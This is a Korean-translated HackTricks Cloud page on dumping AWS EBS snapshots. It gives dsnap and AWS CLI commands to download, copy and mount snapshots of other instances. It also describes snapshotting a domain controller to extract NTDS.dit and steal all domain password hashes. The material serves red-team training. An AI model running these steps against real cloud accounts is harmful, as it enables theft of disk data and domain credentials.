AWS - EBS Snapshot Dump
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
스냅샷을 로컬에서 확인하기
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
caution
주의 dsnap
은 공개 스냅샷을 다운로드할 수 없습니다. 이를 우회하기 위해, 스냅샷을 개인 계정에 복사한 후 해당 스냅샷을 다운로드할 수 있습니다:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
이 기술에 대한 자세한 내용은 https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/에서 원본 연구를 확인하세요.
Pacu를 사용하여 ebs__download_snapshots 모듈로 이 작업을 수행할 수 있습니다.
AWS에서 스냅샷 확인하기
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
EC2 VM에 마운트하기 (백업 복사본과 동일한 지역에 있어야 함):
1단계: EC2 –> Volumes로 이동하여 원하는 크기와 유형의 새 볼륨을 생성합니다.
이 작업을 수행하려면 다음 명령을 따르십시오:
- EC2 인스턴스에 연결할 EBS 볼륨을 생성합니다.
- EBS 볼륨과 인스턴스가 동일한 존에 있는지 확인합니다.
2단계: 생성된 볼륨을 마우스 오른쪽 버튼으로 클릭하여 "attach volume" 옵션을 선택합니다.
3단계: 인스턴스 텍스트 상자에서 인스턴스를 선택합니다.
이 작업을 수행하려면 다음 명령을 사용하십시오:
- EBS 볼륨을 연결합니다.
4단계: EC2 인스턴스에 로그인하고 lsblk
명령을 사용하여 사용 가능한 디스크를 나열합니다.
5단계: sudo file -s /dev/xvdf
명령을 사용하여 볼륨에 데이터가 있는지 확인합니다.
위 명령의 출력이 "/dev/xvdf: data"를 표시하면 볼륨이 비어 있다는 의미입니다.
6단계: sudo mkfs -t ext4 /dev/xvdf
명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 sudo mkfs -t xfs /dev/xvdf
명령을 사용하여 xfs 형식으로 포맷할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다.
7단계: 새 ext4 볼륨을 마운트할 디렉토리를 생성합니다. 예를 들어 "newvolume"이라는 이름을 사용할 수 있습니다.
이 작업을 수행하려면 sudo mkdir /newvolume
명령을 사용하십시오.
8단계: sudo mount /dev/xvdf /newvolume/
명령을 사용하여 볼륨을 "newvolume" 디렉토리에 마운트합니다.
9단계: "newvolume" 디렉토리로 이동하고 디스크 공간을 확인하여 볼륨 마운트를 검증합니다.
이 작업을 수행하려면 다음 명령을 사용하십시오:
/newvolume
로 디렉토리를 변경합니다.df -h .
명령을 사용하여 디스크 공간을 확인합니다. 이 명령의 출력은 "newvolume" 디렉토리의 여유 공간을 보여야 합니다.
Pacu를 사용하여 ebs__explore_snapshots
모듈로 이 작업을 수행할 수 있습니다.
AWS에서 스냅샷 확인하기 (cli 사용)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
AWS 사용자 중 EC2:CreateSnapshot
권한을 가진 사용자는 도메인 컨트롤러의 스냅샷을 생성하여 자신이 제어하는 인스턴스에 마운트하고 NTDS.dit 및 SYSTEM 레지스트리 하이브 파일을 내보내어 모든 도메인 사용자 해시를 훔칠 수 있습니다.
이 도구를 사용하여 공격을 자동화할 수 있습니다: https://github.com/Static-Flow/CloudCopy 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.